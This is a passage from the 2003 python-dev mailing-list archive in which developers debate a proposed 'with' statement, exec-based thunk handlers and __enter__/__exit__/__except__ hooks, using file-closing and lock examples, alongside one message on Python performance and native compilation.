> > fail the assignments *have to* execute within "autoclose"
> > control.  

Would the following be the correct way to achieve this with your patch? 

    f1=open(inputfn)
    with autoclose(f1):
        f2 = open(outputfn, 'w')
        with autoclose(f2):
            for line in f1:
                ...
                f2.write(line)

I think there should be a better solution for multiple ressources.

> >
> > Now on to the usage of the except hook.  Nice use cases might be
> >
> >     exec retry(maxretry=3, on=IOError): 
> >         # do network io-stuff
> > or
> >     exec skip_on(AttributeError, TypeError):
> >         some_object.notify_hook()
> >
> > but i am sure there are more.  Exception handling is often
> > ugly when inlined with the code.  I think that stating 
> > 'exception behaviour' up-front allows to write nice 
> > readable constructs. 
> 
> I am *still* not convinced that an __except__ hook is worth the pain.
> Can you implement those for me?

Maybe, i haven't looked at your implementation yet and there are
some other projects pending :-)

> > __exit__ versus __leave__
> > ---------------------------
> >
> > One remark (mainly to Michael as he does that other 
> > patch) about the hook-name __leave__ versus __exit__.
> > we may want to eventually allow 'yield' within the
> > thunk and then '__exit__' would be misleading.
> 
> I guess.  But enter/exit is just such a canonical pairing.  To me,
> leave is paired with arrive and arrive/leave doesn't make much sense.
> 
> > Here is the use case:
> >
> >     exec self.mylock:   # would lock/unlock on entering/leaving 
> >                         # the generator
> >         ...
> >         for whatever in something:
> >             yield whatever  
> >         ...
> 
> yields already can't go in blocks with finally statements, right?

right. 

> Would you propose calling the __enter__ method each time the generator
> resumed?

yes, neccessary for locking (as the above example tried to indicate).

> > Or do you think that this (future) use case warrants 
> > yet another hook?
> 
> Guess :)

Then i guess it doesn't.  That way my point, anyway :-)

> > If there is interest i can probably modify my patch 
> > to allow all of the proposed syntax so that you could 
> > play around with it.  
> >
> > the next additional idea is not essential for my so-far
> > proposal (but hopefully interesting, nonetheless).
> 
> I think all these proposals are in danger of bending the language into
> a place it should not go.  Still, we should write some PEPs, even if
> they wind up rejected.

sure.

cheers,

    holger


From Paul.Moore@atosorigin.com  Tue Feb  4 11:58:15 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Tue, 4 Feb 2003 11:58:15 -0000
Subject: [Python-Dev] With statement
Message-ID: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com>

I'm rapidly tending towards a preference for extreme simplicity in the =
with
statement. My basic logic is that the C++ idiom for all this is pretty
minimal, and works well (even though C++ has no "finally" equivalent, so =
the
need is more pressing in C++).

So, my current feeling is:

    'with' expr ':'
        suite

expands to

    _x =3D expr
    if hasattr(_x, '__enter__'):
        _x.__enter__()
    try:
        suite
    finally:
	if hasattr(_x, '__exit__'):
	    _x.__exit__()

where _x is a hidden variable unavailable to the user.

And that's it. No assignment, no exception handling, no multiple =
expressions.

The two use cases we've been looking at (locks and files) can be coded =
as:

    class autoclose:
        def __init__(self, f):
	    self.f =3D f
	def __exit__(self):
	    self.f.close()

    f =3D open("whatever")
    with autoclose(f):
        # Use f

and

    class autolock:
	def __init__(self, l):
	    self.l =3D l
	def __enter__(self):
	    self.l.acquire()
	def __exit__(self):
	    self.l.release()

    l =3D lock() # or whatever
    with autolock(l):
        # work with the lock held

(Thanks to Oren Tirosh for pointing out these idioms). Having autolock =
as a
subclass of lock also reads OK ("with l:" for "with the lock l held"), =
but I
don't think the file example reads well when expressed this way.

Alex Martelli suggested transactional processing may be a reasonable use =
case
for needing exception handling (commit in __exit__ and rollback in =
__except__)
but I don't think the gain is worth the extra complexity - I'd say leave =
this
coded as now with try...except..else. (Alex - care to convince me =
otherwise?)

If anyone feels a need for more than this, please supply a use case - I =
can't
think of anything concrete. Otherwise, this is what I'm going to put in =
the
PEP...

Paul.


From aleax@aleax.it  Tue Feb  4 12:03:24 2003
From: aleax@aleax.it (Alex Martelli)
Date: Tue, 4 Feb 2003 13:03:24 +0100
Subject: [Python-Dev] exec/with thunk-handling proposal
In-Reply-To: <20030204125407.R5939@prim.han.de>
References: <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <2mlm0wp9ye.fsf@starship.python.net> <20030204125407.R5939@prim.han.de>
Message-ID: <200302041303.24580.aleax@aleax.it>

On Tuesday 04 February 2003 12:54 pm, holger krekel wrote:
   ...
>     f1=open(inputfn)
>     with autoclose(f1):
>         f2 = open(outputfn, 'w')
>         with autoclose(f2):
>             for line in f1:
>                 ...
>                 f2.write(line)
>
> I think there should be a better solution for multiple ressources.

I agree this is slight too cumbersome, and deeply wish it was
feasible to go with:

     with f1=autoclose(inputfn):
         with f2=autoclose(outputfn, 'w'):
             for line in f1:
                 ...
                 f2.write(line)

i.e., nested with's would be just fine, IF binding the with'd expression
to a name was allowed as part of the with statement, by whatever sugar.  

I'd rather have it mandatory and use "with junk = autolock(xx):", rather
than not having the binding in the "with" -- just as I have only modest
problems HAVING to bind a name in "for i in range(5):" even when I
don't care about i at all in the loop's body.

But if such binding is unfeasible, then maybe it's not worth having the 
"with" after all -- or else we need something richer and more complicated
(and perhaps ugly) as in your proposal.


Alex



From aleax@aleax.it  Tue Feb  4 12:24:12 2003
From: aleax@aleax.it (Alex Martelli)
Date: Tue, 4 Feb 2003 13:24:12 +0100
Subject: [Python-Dev] With statement
In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com>
References: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com>
Message-ID: <200302041324.12573.aleax@aleax.it>

On Tuesday 04 February 2003 12:58 pm, Moore, Paul wrote:
   ...
> Alex Martelli suggested transactional processing may be a reasonable use
> case for needing exception handling (commit in __exit__ and rollback in
> __except__) but I don't think the gain is worth the extra complexity - I'd
> say leave this coded as now with try...except..else. (Alex - care to
> convince me otherwise?)

Unless somebody can think of other use cases, I think it's reasonable
to say that try/except/else can take care of such transactional needs.

I still don't think splitting the typical need for "with x = expr:" into two
statements (x=expr first, then with x:) is optimal (even though in the
case of the lock you might not need that, you do need it again as
soon as it needs to be e.g. a Condition instead of a Lock -- basically
any time you need the expr in the body, which I'd say is most often,
quite differently from with and if and much closer to for).  When you
nest with statements (and I agree that having only ONE thingy per
with is fine, so nested with statements are the way to go), it's even
less pleasant, IMHO.

To put it another way: is the advantage of:

    f = open("whatever")
    with autoclose(f):
        # Use f

sufficient with respect to the existing alternative:

    f = open("whatever")
    try:
        # Use f
    finally: f.close()

to be worth introducing a new kind of statement?  I see 3 lines
(4 if you insist on breaking after "finally:" of course) -- plus the
body "# Use f" of course -- with the existing alternative, versus
two with the new statement.  With name binding,

    with f = autoclosedfile("whatever"):
        # Use f

we're down to 1, and in this case the advantage strikes me
as substantial.  It would also be more natural for people who
are used to coding "resource acquisition is initialization" in
C++, since in that case, too, a name is always required
(whether you use it or not in the following block):

{    
    autoclosedfile f("whatever");
    // Use f
}


> If anyone feels a need for more than this, please supply a use case - I
> can't think of anything concrete. Otherwise, this is what I'm going to put
> in the PEP...

As long as you mention in the PEP the ardent wish of some of
us for name binding within 'with', np -- I can't see any other "use
case" for binding-within-with save for the fact that it seems such
a frequent need, and almost necessary to make 'with' enough of
a win to justify its existence;-).


Alex



From mwh@python.net  Tue Feb  4 12:32:13 2003
From: mwh@python.net (Michael Hudson)
Date: Tue, 04 Feb 2003 12:32:13 +0000
Subject: [Python-Dev] exec/with thunk-handling proposal
In-Reply-To: <20030204125407.R5939@prim.han.de> (holger krekel's message of
 "Tue, 4 Feb 2003 12:54:07 +0100")
References: <049701c2ca2a$89d0e0c0$6d94fea9@newmexico>
 <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net>
 <059501c2ca31$d6581420$6d94fea9@newmexico>
 <065d01c2ca3b$185ca080$6d94fea9@newmexico>
 <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net>
 <002301c2cad4$714acc00$6d94fea9@newmexico>
 <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net>
 <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk>
 <20030203140934.D10804@prim.han.de>
 <2mlm0wp9ye.fsf@starship.python.net>
 <20030204125407.R5939@prim.han.de>
Message-ID: <2mfzr4p6pe.fsf@starship.python.net>

holger krekel <pyth@devel.trillke.net> writes:

> Michael Hudson wrote:
>> holger krekel <pyth@devel.trillke.net> writes:
>> > I think we can may get away with only a "weak" keyword
>> > and allow the aforementioned encapsulation of execution 
>> > events into an object like this:
>> >
>> >     exec expr [with params]: suite
>> 
>> Gut reaction: ugh!
>
> then i guess you rather prefer new keywords.  I thought that there
> is a general reluctance to introduce new keywords

There is.  But __future__ makes a sensible transition possible, at least.

> *and* many people dislike 'exec' for its existence.  So reusing it
> (and we are dealing with execution aspects IMO) makes some sense to
> me.

It makes some sense, sure.  But not enough, in *my* opinion.

We don't want to go down the C route -- consider poor "static"[1].

[...]
>> > The above "with" parameters (of the form name=expr, comma-separated) 
>> > are bound in local (or global/nested) *and* handler instance 
>> > namespace.  The 'suite' is what we call "thunk".
>> >
>> > The above logic allows clean timely finalization for
>> > *multiple* ressources:
>> >
>> >     exec autoclose() with f1=open(name1), f2=open(name2, 'w'):
>> >         for line in f1:
>> >             ...
>> >             f2.write(...)
>> 
>> That looks messy.
>
> as compared to?  I think i have seen messier ideas with all kinds
> of brackets and double-colons :-)

As compared to the dirt simple scheme Paul just posted about.

>> > which would execute as follows
>> >
>> >     a) autoclose() instance is created and stored as the 
>> >        "thunk"-handler
>> 
>> We need a name for these.  I've been using "monitor" for a while, but
>> I'm not sure it's that apposite.
>
> So far i'd liked "execution handler" because 'enter/exit/except' are IMHO
> execution events which you can hook into.  Do you agree with calling
> them 'execution events' or how would you call them?

Sure enter/exit/except are execution events, but execution handler
rubs me the wrong way because that imples the (e.g.) autoclose object
is somehow responsible for executing the suite, which it isn't: it;s
more an observer of the execution.

And it's a suite goddamit, not a thunk (in this proposal).

>> >     b) f1/f2 are stored as attributes on the autoclose instance
>> >
>> >     c) f1/f2 are put into the local/global namespace (and nested ones
>> >        if rebinding is allowed)
>> >
>> >     d) thunk executes (for line ...)
>> >
>> >     e) autoclose 'leave' hook is called (with or without exception)
>> >        and is implemented like this:
>> >         
>> >        def __leave__(self):
>> >             for obj in self.__dict__.values(): 
>> >                 obj.close()
>> >
>> >     f) thunk handler is removed 
>> 
>> "Too much magic!"
>
> Hmmm. That seems a bit unfair to me as many other proposals didn't care 
> to elaborate the exact sequence.

True.  However, I'm currently in favour of a very simple proposal.

> You probably are refering to the "namespace interactions" as the
> other stuff is probably the same with any other proposal so far.

I'd very much hope that some of the sillier proposal are dead in the
water.  Sure, your proposal is hardly the most complex out there, but
*I* still think it's too complex.

Actually, it's mainly the b) and c) bits I object to.

>> > Because computing 'f1' may succeed but 'f2' can subsequently
>> > fail the assignments *have to* execute within "autoclose"
>> > control.  
>
> Would the following be the correct way to achieve this with your patch? 
>
>     f1=open(inputfn)
>     with autoclose(f1):
>         f2 = open(outputfn, 'w')
>         with autoclose(f2):
>             for line in f1:
>                 ...
>                 f2.write(line)

Yup.

> I think there should be a better solution for multiple ressources.

Fair enough.  I don't.

[...]

>> I am *still* not convinced that an __except__ hook is worth the pain.
>> Can you implement those for me?
>
> Maybe, i haven't looked at your implementation yet and there are
> some other projects pending :-)

I meant, can you implement retry and skip_on?  Sorry, that was
unclear.

[...]
>> Would you propose calling the __enter__ method each time the generator
>> resumed?
>
> yes, neccessary for locking (as the above example tried to indicate).

Hmm, that could work.  Tricky to implement as things currently stand
but managable for sure.

Good grief, I should do something useful today.

Cheers,
M.

[1] Strange small worldy fact: the phrase "consider poor static" has
    stuck with from my earliest usenet experiences, so I google for
    it, and it turns out it was John W. Baxter, comp.lang.python
    regular.

-- 
  : Giant screaming pieces of excrement, they are.
  I have a feeling that some of the people in here have a 
  MUCH more exciting time relieving themselves than I do.
                                       -- Mike Sphar & Dave Brown, asr


From Paul.Moore@atosorigin.com  Tue Feb  4 13:07:37 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Tue, 4 Feb 2003 13:07:37 -0000
Subject: [Python-Dev] exec/with thunk-handling proposal
Message-ID: <16E1010E4581B049ABC51D4975CEDB880113D8CD@UKDCX001.uk.int.atosorigin.com>

holger krekel wrote:
> Michael Hudson wrote:
> > holger krekel <pyth@devel.trillke.net> writes:
> > > I think we can may get away with only a "weak" keyword
> > > and allow the aforementioned encapsulation of execution=20
> > > events into an object like this:
> > >
> > >     exec expr [with params]: suite
> >=20
> > Gut reaction: ugh!
>=20
> then i guess you rather prefer new keywords.  I thought that there
> is a general reluctance to introduce new keywords *and* many
> people dislike 'exec' for its existence.  So reusing it
> (and we are dealing with execution aspects IMO) makes
> some sense to me.

I can see your point. Personally, I don't have any great problems with =
"exec",
so I'd like to understand better how your proposal integrates this new =
use of
exec with the existing use. And at some point, it will be necessary to =
confirm
that the parser can be made to distinguish the various uses (it seems to =
me
that extra lookahead will be needed).

> > > where the expression is evaluated to return a
> > > "thunk" handler with these optional "execution" hooks:
> > >
> > >     def __enter__(self): =20
> > >         "before suite start"
> > >
> > >     def __except__(self, type, value, tb):=20
> > >         "swallow given exception, reraise if neccessary"
> > >
> > >     def __leave__(self):
> > >         """upon suite finish (not called if __except__=20
> > >            exists and an exception happened)
> > >         """
> > >
> > > The above "with" parameters (of the form name=3Dexpr, =
comma-separated)=20
> > > are bound in local (or global/nested) *and* handler instance=20
> > > namespace.  The 'suite' is what we call "thunk".
> > >
> > > The above logic allows clean timely finalization for
> > > *multiple* ressources:
> > >
> > >     exec autoclose() with f1=3Dopen(name1), f2=3Dopen(name2, 'w'):
> > >         for line in f1:
> > >             ...
> > >             f2.write(...)
> >=20
> > That looks messy.
>=20
> as compared to?  I think i have seen messier ideas with all kinds
> of brackets and double-colons :-)

I agree with you here. This looks OK to me in terms of syntax. I'm not =
so sure
of the semantics - that may be the bit Michael thought was "messy". =
Binding
the with parameters in two places feels odd, and in particular injecting =
the
parameter names into the instance namespace is unusual (I know of no =
other
construct in Python which implicitly changes an instance namespace like =
this).

And as far as the local namespace is concerned, consider

    exec something() with f1=3D12:
        suite
    # Out of the exec now - what is the value of f1???

I assume that the assignment to f1 is still in existence, otherwise =
you're
inventing a new way of defining a scope. But if the binding to f1 does =
still
exist, then that looks odd, because "exec ... with f1=3D12" *reads* as =
if f1 is
only in scope for the duration of the statement. You seem to lose either
way...

> > > which would execute as follows
> > >
> > >     a) autoclose() instance is created and stored as the=20
> > >        "thunk"-handler
> >=20
> > We need a name for these.  I've been using "monitor" for a while, =
but
> > I'm not sure it's that apposite.
>=20
> So far i'd liked "execution handler" because 'enter/exit/except' are =
IMHO
> execution events which you can hook into.  Do you agree with calling
> them 'execution events' or how would you call them?=20

The way you've defined things, I see the logic - it's hooks into the =
execution
model. I'm not sure I'd have thought of that way of looking at it for =
myself,
though...

> > >     b) f1/f2 are stored as attributes on the autoclose instance
> > >
> > >     c) f1/f2 are put into the local/global namespace (and nested =
ones
> > >        if rebinding is allowed)
> > >
> > >     d) thunk executes (for line ...)
> > >
> > >     e) autoclose 'leave' hook is called (with or without =
exception)
> > >        and is implemented like this:
> > >        =20
> > >        def __leave__(self):
> > >             for obj in self.__dict__.values():=20
> > >                 obj.close()

But what if the object was more complex, and needed its own state? How =
could
it tell which were "its own" variables and which had been injected? =
(Other
than by hard coding a list of "its own" variables to ignore, which is =
utterly
horrible).

> > >     f) thunk handler is removed=20
> >=20
> > "Too much magic!"
>=20
> Hmmm. That seems a bit unfair to me as many other proposals didn't =
care=20
> to elaborate the exact sequence.   You probably are refering to the=20
> "namespace interactions" as the other stuff is probably the same
> with any other proposal so far.

No, I agree with Michael here. Just because other proposals handwave and =
don't
give proper semantics doesn't mean that they don't also have too much =
magic.
In my book "unclear semantics" is a worse accusation than "too much =
magic".
But both are bad :-)

> > > Because computing 'f1' may succeed but 'f2' can subsequently
> > > fail the assignments *have to* execute within "autoclose"
> > > control. =20

Hmm. In the equivalent try...finally construct, the idiom is to open the =
file
*outside* the try statement, so that exceptions when opening the file =
don't
get accidentally caught. You need to address this - particularly in the =
case
of multiple variables.

> Would the following be the correct way to achieve this with your =
patch?=20
>=20
>     f1=3Dopen(inputfn)
>     with autoclose(f1):
>         f2 =3D open(outputfn, 'w')
>         with autoclose(f2):
>             for line in f1:
>                 ...
>                 f2.write(line)
>=20
> I think there should be a better solution for multiple ressources.

In many ways, I agree with you. I originally wanted multiple =
expressions, and
assignments within the "with" statement. But people argued against them =
(look
back over the thread if you want the details). I honestly don't believe =
that
the with statement will ever please everyone - the best we can hope for =
is to
let it handle the simple cases well, with clean, well-defined semantics =
with
as few surprises as possible, and leave the remaining cases to the =
existing
try statement (or to a more ambitious thunk-based mechanism).

There is a real risk of slimming the with statement down to uselessness =
by
this philosophy. But this may simply indicate that the need is perceived
rather than real :-)

> > > Now on to the usage of the except hook.  Nice use cases might be
> > >
> > >     exec retry(maxretry=3D3, on=3DIOError):=20
> > >         # do network io-stuff
> > > or
> > >     exec skip_on(AttributeError, TypeError):
> > >         some_object.notify_hook()
> > >
> > > but i am sure there are more.  Exception handling is often
> > > ugly when inlined with the code.  I think that stating=20
> > > 'exception behaviour' up-front allows to write nice=20
> > > readable constructs.=20
> >=20
> > I am *still* not convinced that an __except__ hook is worth the =
pain.
> > Can you implement those for me?
>=20
> Maybe, i haven't looked at your implementation yet and there are
> some other projects pending :-)

There's no implementation of any form of except hook in existence yet
(excluding the IEXEC patch). The key point here is that your explanation =
of
semantics above didn't cover __except__ hooks. I'd like to see =
__except__
integrated into the semantics you describe, and then with that as a =
basis I's
like to see definitions of retry() and skip_on().

The idea looks interesting, but I'd like to see concrete code.

> > yields already can't go in blocks with finally statements, right?
>=20
> right.=20
>=20
> > Would you propose calling the __enter__ method each time the =
generator
> > resumed?
>=20
> yes, neccessary for locking (as the above example tried to indicate).

But not for files. It's arguable that you need __enter__, __exit__, =
__yield__,
and __resume__ hooks for full generality.

On the other hand, YAGNI makes more sense to me...

> > > If there is interest i can probably modify my patch=20
> > > to allow all of the proposed syntax so that you could=20
> > > play around with it. =20

Working code for *any* of these ideas could only be a good thing.

User code which benefits from the new features is also good. The =
auto-closing
file example has been worked to death, and its main effect for me so far =
has
been to make me wonder whether we need *any* of these mechanisms :-) The =
lock
example is better, but still pretty borderline. I'd really, really like =
to see
a substantial, non-toy use case.

Actually, my main experience is C/C++ based, where blocks with many =
memory
allocations and the occasional open file is the canonical example. =
Freeing and
closing in reverse order, under all error conditions, is a *pain*. But =
for
this, the C++ "resource acquisition is initialisation" idiom works
brilliantly. It's a shame it can't be made to work in Python.

Paul.


From Jack.Jansen@cwi.nl  Tue Feb  4 13:37:56 2003
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Tue, 4 Feb 2003 14:37:56 +0100
Subject: [Python-Dev] exec/with thunk-handling proposal
In-Reply-To: <20030204125407.R5939@prim.han.de>
Message-ID: <DE683728-3845-11D7-B37C-0030655234CE@cwi.nl>

On Tuesday, Feb 4, 2003, at 12:54 Europe/Amsterdam, holger krekel wrote:

>>>     exec expr [with params]: suite
>>
>> Gut reaction: ugh!
>
> then i guess you rather prefer new keywords.  I thought that there
> is a general reluctance to introduce new keywords *and* many
> people dislike 'exec' for its existence.

I agree with Michael's "Ugh!". And actually I extend the "Ugh!" to 
Guido's proposal
of "expr [= expr] [lambda]: suite".

While I think that the reluctance to introduce new keywords is a good 
thing in principle
it shouldn't go at the expense of the clarity of the language. In other 
words, if there
is a clear construct that doesn't require a new keyword (cf. import as) 
that is a good thing,
but if the clarity of Python would be compromised then I think we 
should bite the bullet
and add a new keyword.

We should think of people who come fresh to Python in three years time. 
What "if" does
and what the parameters are is immediately clear. Same for "for". Same 
for "class", "def",
assignments and what-have-you. And then suddenly they come across
     foo():
         ...
or
     exec foo():
         ...
The only construct I can think of that would give the user an idea of 
what was happening is
"with expr [= expr]". And even that will become ugly once you want to 
support both thunks
with a new scope and parameters, and thunks in the existing scope.

Last week I made a suggestion that was completely ignored, so let me 
try again (i.e. if everyone thinks
it's silly please shoot it down in stead of ignoring it:-): how about 
adding a meta-keyword
that would be used to turn an identifier into a keyword. For sake of 
the example let's use
"keyword" as the meta-keyword, although that's a bad choice, probably. 
Here's how it would be
used: if we decide to go with "with" as the thunk-keyword what happens 
is that in Python 2.4
you would have to type it as
     keyword(with) expr:
         suite
or, alternatively, do something like "from future import with_keyword". 
In 2.4, using "with" as an identifier
would give a FutureWarning. In Python 2.5 "with" would become a 
reserved word, but keyword(with) would
still continue to work. Whether the latter is for one release (with 
accompanying FutureWarning) or
for all eternity is open to discussion.
--
Jack Jansen, <Jack.Jansen@cwi.nl>, http://www.cwi.nl/~jack
If I can't dance I don't want to be part of your revolution -- Emma 
Goldman



From gward@python.net  Tue Feb  4 13:58:05 2003
From: gward@python.net (Greg Ward)
Date: Tue, 4 Feb 2003 08:58:05 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <20030130195549.45476.qmail@web10305.mail.yahoo.com>
References: <20030130195549.45476.qmail@web10305.mail.yahoo.com>
Message-ID: <20030204135805.GA790@cthulhu.gerg.ca>

On 31 January 2003, Graham Guttocks said:
> It would be nice to use Python for more serious projects, but it isn't
> fast enough currently.

The usual solution is to take the bits that are too slow in Python and
recode them in C.  This may not be as far-sighted as a spiffy
native-code Python compiler, but it's a hell of a lot less work for each
individual project.

A good middle-ground is to figure out where Python is slow and make it
faster.  Eg. I recently discovered that certain operations in ZODB --
specifically, converting back and forth between 8-byte strings and
64-bit integers -- are a significant bottleneck.  Those operations are
currently implemented as tiny Python functions that use the struct
module to do most of their work.  Through discussion on the
zodb-dev@zope.org list, I learned that the struct module has never been
heavily optimized (aka "passed through the timbot").  I chose to
reimplement those ZODB operations in C, because I wanted maximum bang
for my (employer's) buck.  But a more far-sighted approach --
ie. something that would benefit more projects for a longer time --
would be to spend some time tightening up the struct module.

In all that time, it never once occurred to me that compiling ZODB to
machine code was the answer.  Dynamic typing is boatloads of fun, but it
can really kill performance to do all that work at runtime.  Doesn't
matter if your runtime is Python bytecode interpreted by a C program or
just plain machine code.  Unless, of course, you have a
super-sophisticated compiler that does ML-style type inference ... but
without ML's bondage and discipline.

I suspect that compiling Python properly (ie. with real performance
gains) would be roughly as difficult as compiling ML -- and, because
Python always gives you a way to sneak around whatever informal type
safety mechanisms you might use, you wouldn't always benefit from type
inference.

        Greg
-- 
Greg Ward <gward@python.net>                         http://www.gerg.ca/
No animals were harmed in transmitting this message.


From Paul.Moore@atosorigin.com  Tue Feb  4 14:00:47 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Tue, 4 Feb 2003 14:00:47 -0000
Subject: [Python-Dev] With statement
Message-ID: <16E1010E4581B049ABC51D4975CEDB886199D5@UKDCX001.uk.int.atosorigin.com>

From: Alex Martelli [mailto:aleax@aleax.it]
> To put it another way: is the advantage of:
>=20
>     f =3D open("whatever")
>     with autoclose(f):
>         # Use f
>=20
> sufficient with respect to the existing alternative:
>=20
>     f =3D open("whatever")
>     try:
>         # Use f
>     finally: f.close()
>=20
> to be worth introducing a new kind of statement?  I see 3 lines
> (4 if you insist on breaking after "finally:" of course) -- plus the
> body "# Use f" of course -- with the existing alternative, versus
> two with the new statement.

In line-counting terms, you're completely right. The advantage to me is =
in
terms of readability/maintainability/understandability (where's a =
thesaurus
when you need one?) and code reuse.

Specifically, the try...finally case separates the open from the =
cleanup. When
reading the code, you need to scan over the "use f" code (which may be =
many
lines - often enough that visually matching indentation could be an =
issue) to
see the lifetime of the file object (and check it's correct).  Also, by
suitable use of class names (that thesaurus again!), you can make the =
intent
very obvious (autoclose isn't bad, but I suspect in more complex cases =
you
could do even better).

As for code reuse, surely that's obvious? A single autoclose class can =
be used
throughout an application. It doesn't save much in terms of lines, but =
when
you decide you want to log file closes (contrived example, I know) =
there's
just one place to change. And of course, autoclose is the absolute =
minimal
example, which affects both the code reuse argument (positively) and the
lines of code argument (negatively).

The with version also avoids the common (at least with me) mistake of

    try:
        f =3D open("file")
	# Use f
    finally:
        f.close()

> With name binding,
>=20
>     with f =3D autoclosedfile("whatever"):
>         # Use f
>=20
> we're down to 1, and in this case the advantage strikes me
> as substantial.

But this uses a different approach entirely. Here, autoclosedfile is a
self-managing file subclass, whereas the autoclose() example used an
independent manager class. I know the point is subtle to the extent of =
being
pretty irrelevant when you're looking at file objects, but it may be =
major in
a serious application. (I'm imagining some form of application server =
class,
part of a complex application, with significant shutdown requirements.
Separation of the shutdown management functionality from the server =
class may
make good sense. And I hate handwaving arguments like this as much as =
anyone
else - *please* someone give me a decent use case!!!!!)

> It would also be more natural for people who are used to coding =
"resource
> acquisition is initialization" in C++, since in that case, too, a name =
is
> always required (whether you use it or not in the following block):
>=20
> {   =20
>     autoclosedfile f("whatever");
>     // Use f
> }

But there are other subtle differences - many resources can be acquired =
in the
one block, often not at the start of the block either. Whatever way you =
play
it, "with" is a weak substitute.

I'm *so* close to deciding that the with statement isn't worth having...

> > If anyone feels a need for more than this, please supply a use case
> > - I can't think of anything concrete. Otherwise, this is what I'm
> > going to put in the PEP...
>
> As long as you mention in the PEP the ardent wish of some of us for
> name binding within 'with', np -- I can't see any other "use case" for
> binding-within-with save for the fact that it seems such a frequent
> need, and almost necessary to make 'with' enough of a win to justify
> its existence;-).

That one is telling :-) I'll certainly include all the options in the =
PEP.

What really kills it for me is the fact that personally, I like the
no-assignment cases for locks:

    class Lock:
        # Whatever you need here
	def __enter__(self):
	    self.acquire()
	def __exit__(self):
	    self.release()
    ...

    Lock GIL

    ...

    with GIL:
        # Do something

    ...

    with GIL:
	# Do something else

That to me looks like the canonical use for locking. Unfortunately, =
people
have made the point that having an *optional* assignment is hard (I'm =
not
qualified to judge how hard, but I do know that Guido values parser
simplicity). Given this, and given that I, personally, find the =
difference
beteween

    with f =3D autocloser("file"):
        ...

and

    f =3D open("file")
    with autoclose(f): # I still think there's a better name than =
autoclose!
        ...

pretty minimal, I'd prefer to go with no assignment over mandatory =
assignment.

But there's no doubt that a lot of this is opinions rather than hard =
fact.

Paul.


From jepler@unpythonic.net  Tue Feb  4 14:01:19 2003
From: jepler@unpythonic.net (Jeff Epler)
Date: Tue, 4 Feb 2003 08:01:19 -0600
Subject: [Python-Dev] exec/with thunk-handling proposal
In-Reply-To: <16E1010E4581B049ABC51D4975CEDB880113D8CD@UKDCX001.uk.int.atosorigin.com>
References: <16E1010E4581B049ABC51D4975CEDB880113D8CD@UKDCX001.uk.int.atosorigin.com>
Message-ID: <20030204140118.GB13864@unpythonic.net>

On Tue, Feb 04, 2003 at 01:07:37PM -0000, Moore, Paul wrote:
> And as far as the local namespace is concerned, consider
> 
>     exec something() with f1=12:
>         suite
>     # Out of the exec now - what is the value of f1???
> 
> I assume that the assignment to f1 is still in existence, otherwise you're
> inventing a new way of defining a scope. But if the binding to f1 does still
> exist, then that looks odd, because "exec ... with f1=12" *reads* as if f1 is
> only in scope for the duration of the statement. You seem to lose either
> way...

But Python already has this "problem":
    for i in range(5): pass
    print i

(What's more, 'i' will have a different value than 'i' in the
"equivalent" C fragment
    int i;
    for(i=0; i<5; i++) /*NOTHING*/;
    printf("%d\n", i);
)

But this doesn't seem to bother anybody.  Does it?

Jeff


From pyth@devel.trillke.net  Tue Feb  4 14:08:51 2003
From: pyth@devel.trillke.net (holger krekel)
Date: Tue, 4 Feb 2003 15:08:51 +0100
Subject: [Python-Dev] exec/with thunk-handling proposal
In-Reply-To: <DE683728-3845-11D7-B37C-0030655234CE@cwi.nl>; from Jack.Jansen@cwi.nl on Tue, Feb 04, 2003 at 02:37:56PM +0100
References: <20030204125407.R5939@prim.han.de> <DE683728-3845-11D7-B37C-0030655234CE@cwi.nl>
Message-ID: <20030204150851.U5939@prim.han.de>

Jack Jansen wrote:
> 
> On Tuesday, Feb 4, 2003, at 12:54 Europe/Amsterdam, holger krekel wrote:
> 
> >>>     exec expr [with params]: suite
> >>
> >> Gut reaction: ugh!
> >
> > then i guess you rather prefer new keywords.  I thought that there
> > is a general reluctance to introduce new keywords *and* many
> > people dislike 'exec' for its existence.
> 
> I agree with Michael's "Ugh!". And actually I extend the "Ugh!" to 
> Guido's proposal
> of "expr [= expr] [lambda]: suite".

I am a bit wary about all those syntax details.  Actually i try
to focus on which events an 'execution monitor' should handle
and how it interacts.  The problem is that talking about
new semantics immeditately brings up the question of syntax
and then everybody discusses syntax. 

> We should think of people who come fresh to Python in three years time. 
> What "if" does
> and what the parameters are is immediately clear. Same for "for". Same 
> for "class", "def",
> assignments and what-have-you. And then suddenly they come across
>      foo():
>          ...
> or
>      exec foo():

Yes, but names are important and 

    exec autoclose with f1=open(inputfn):
        ...

is not that hard to read and understand.  I'd even dare to say
it's easier than understanding metaclasses :-)

Also today 'exec' is hardly ever needed and so reinterpreting 
it in the long run might be viable.  "Oh yes, i forgot to tell,
you can also pass it a string or a code object ..."

> Last week I made a suggestion that was completely ignored, so let me 
> try again (i.e. if everyone thinks
> it's silly please shoot it down in stead of ignoring it:-): how about 
> adding a meta-keyword
> that would be used to turn an identifier into a keyword. For sake of 
> the example let's use
> "keyword" as the meta-keyword, although that's a bad choice, probably. 
> Here's how it would be
> used: if we decide to go with "with" as the thunk-keyword what happens 
> is that in Python 2.4
> you would have to type it as
>      keyword(with) expr:
>          suite

Isn't that a road to macros? :-)

I don't know but it sure reduces readability and it looks like cheating. 
we don't want to introduce new keywords, anyway.  To me it is not
only a matter of 'syntax' problems or beeing backward-incompatible 
but the real problem is the number of concepts and constructs you
have to remember, to understand, to use and to teach. 

    holger


From mwh@python.net  Tue Feb  4 14:13:29 2003
From: mwh@python.net (Michael Hudson)
Date: Tue, 04 Feb 2003 14:13:29 +0000
Subject: [Python-Dev] With statement
